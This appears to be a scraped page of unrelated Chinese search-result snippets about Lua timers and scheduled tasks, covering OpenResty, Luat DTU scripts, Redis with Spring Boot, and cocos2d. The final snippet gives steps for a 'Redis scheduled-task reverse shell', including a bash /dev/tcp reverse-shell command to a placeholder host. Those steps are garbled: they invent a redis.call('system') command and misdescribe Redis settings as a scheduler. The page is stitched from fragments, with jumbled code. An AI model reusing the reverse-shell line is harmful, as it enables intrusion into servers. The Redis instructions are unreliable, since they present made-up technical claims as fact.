local handler -- do some routine job in Lua just like a cron job handler = function (premature) ngx.log(ngx.INFO,"====================定时任务执行开始======================") ngx.timer.at(delay, handler) local ok, err = ngx.timer.at(delay, handler)
最近在写合宙4G的DTU Lua t脚本,由于有一个每日 定时任务 的需求。所以基于ntp demo进行了一些修改。做成了定时脚本。代码很简单,ntp设置为24小时同步一次,然后所有代码都可以写在一个1s的定时器里面。 比如每5秒运行一次的任务,就使用tm.sec%5 == 0作为判断条件,每小时整点运行一次的,可以使用tm.min==0 作为判断条件,每天0点运行的,使用tm.hour==0作为判断条...
有时我们需要在特定时间执行特定的任务,然而一般的 定时任务 又不满足我们的需求。如重推任务:我们向第三方发送话单,但是有可能推送失败,此时我们需要隔一段时间再重推。重推N次后,仍然失败,则不重推,标志无法推送 程序需要在N秒后执行特定任务,但是任务的参数由当前决定。 本文演示使用Redis, lua 和spring boot实现如上的功能。
使用方法很简单 local scheduler = require("framework.scheduler") local handler = scheduler.scheduleGlobal(function() -- 想做的事情 0.2) -- 调用间隔 scheduler.unscheduleGlobal(handler) -- 取消定时器 print("dadf") CCDirector:sharedDirector():getScheduler():unscheduleScriptEntry(scheduleId)
前面介绍了 lua 中update的实现,利用update,我们可以实现 lua 的定时器类。 与c#定时器原理一样,我们需要提供注册函数与反注册函数,然后利用update注册对应的update循环,在update循环里获取当前事件,然后遍历当前的注册列表,比较当前时间和定时器的注册时间,如果到了指定时间,就进行函数调用,同样,函数注册时需要传递自身self。 注册函数类似如下 function...
counter = Timer.new()   要启动或停止一个定时器请使用命令 timername:start() 和 timername:stop()。我们想在程序开始启动我们的定时器,所以加上下面代码: counter:start()
Redis 定时任务 反弹shell是一种利用Redis的计划任务功能来实现反弹shell的方法。通过在Redis中设置一个 定时任务 ,当任务触发时,会执行相应的命令来反弹shell。 根据引用内容,可以使用Redis的计划任务反弹shell的步骤如下: 1. 首先,确保你已经安装了Redis,并且Redis服务器正常运行。 2. 在Redis配置文件(redis.conf)中启用计划任务功能。可以设置` lua -time-limit`参数为负数,以允许长时间运行的任务。 3. 创建一个 Lua 脚本,用于执行反弹shell的命令。可以使用`redis.call`函数来执行Redis命令,例如`redis.call('system', 'bash -i >& /dev/tcp/your_ip/your_port 0>&1')`。 4. 使用Redis的`EVAL`命令将 Lua 脚本加载到Redis中,并设置 定时任务 。可以使用`EVAL "return redis.call('config', 'set', 'notify-keyspace-events', 'Ex')" 0`命令来设置键空间通知事件,以便Redis能够触发计划任务。 5. 设置计划任务的触发条件和频率,例如可以使用`SET key value EX seconds NX`命令来设置一个键,当键不存在时才会触发 定时任务 。 6. 当 定时任务 触发时,Redis将执行 Lua 脚本中的命令,从而实现反弹shell的功能。 请注意, 定时任务 反弹shell可能涉及到安全风险,应谨慎操作并遵守法律法规。